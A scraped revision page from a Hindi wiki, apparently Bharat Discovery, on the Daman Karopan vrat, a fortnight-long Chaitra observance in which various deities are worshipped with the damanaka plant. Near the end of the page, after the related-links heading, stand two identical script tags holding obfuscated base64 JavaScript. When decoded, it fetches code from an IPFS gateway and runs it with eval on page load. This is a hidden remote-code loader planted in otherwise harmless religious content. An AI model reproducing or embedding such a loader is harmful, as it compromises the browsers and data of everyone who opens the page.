दमन कारोपण: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (दमनकारोपण का नाम बदलकर दमन कारोपण कर दिया गया है)
m (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
Line 3: Line 3:
*प्रथम तिथि से 15 दिनों तक दमनक पौधे से विभिन्न देवों की पूजा, यथा—प्रथम दिन [[उमा]], [[शिव]] एवं अग्नि, दूसरे दिन [[ब्रह्मा]] की, तीसरे दिन देवों एवं [[शंकर]] की, चौथे दिन से 15वें दिन तक क्रम से [[गणेश]], नागों, स्कन्द, भास्कर, माताओं, महिषमर्दिनी, धर्म, ऋषियों, [[विष्णु]], काम, [[शिव]], [[इन्द्र]] (शची के साथ) की होती है।<ref> हेमाद्रि व्रतखण्ड 2, 453-45; कृत्यरत्नाकर (31-95); समयमयूख (84-86)।</ref>
*प्रथम तिथि से 15 दिनों तक दमनक पौधे से विभिन्न देवों की पूजा, यथा—प्रथम दिन [[उमा]], [[शिव]] एवं अग्नि, दूसरे दिन [[ब्रह्मा]] की, तीसरे दिन देवों एवं [[शंकर]] की, चौथे दिन से 15वें दिन तक क्रम से [[गणेश]], नागों, स्कन्द, भास्कर, माताओं, महिषमर्दिनी, धर्म, ऋषियों, [[विष्णु]], काम, [[शिव]], [[इन्द्र]] (शची के साथ) की होती है।<ref> हेमाद्रि व्रतखण्ड 2, 453-45; कृत्यरत्नाकर (31-95); समयमयूख (84-86)।</ref>


{{लेख प्रगति
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==अन्य संबंधित लिंक==
==अन्य संबंधित लिंक==
{{पर्व और त्योहार}}
{{पर्व और त्योहार}}

Revision as of 06:52, 7 December 2010

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • चैत्र की प्रतिपदा से अमावस तक होती है।
  • प्रथम तिथि से 15 दिनों तक दमनक पौधे से विभिन्न देवों की पूजा, यथा—प्रथम दिन उमा, शिव एवं अग्नि, दूसरे दिन ब्रह्मा की, तीसरे दिन देवों एवं शंकर की, चौथे दिन से 15वें दिन तक क्रम से गणेश, नागों, स्कन्द, भास्कर, माताओं, महिषमर्दिनी, धर्म, ऋषियों, विष्णु, काम, शिव, इन्द्र (शची के साथ) की होती है।[1]

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि व्रतखण्ड 2, 453-45; कृत्यरत्नाकर (31-95); समयमयूख (84-86)।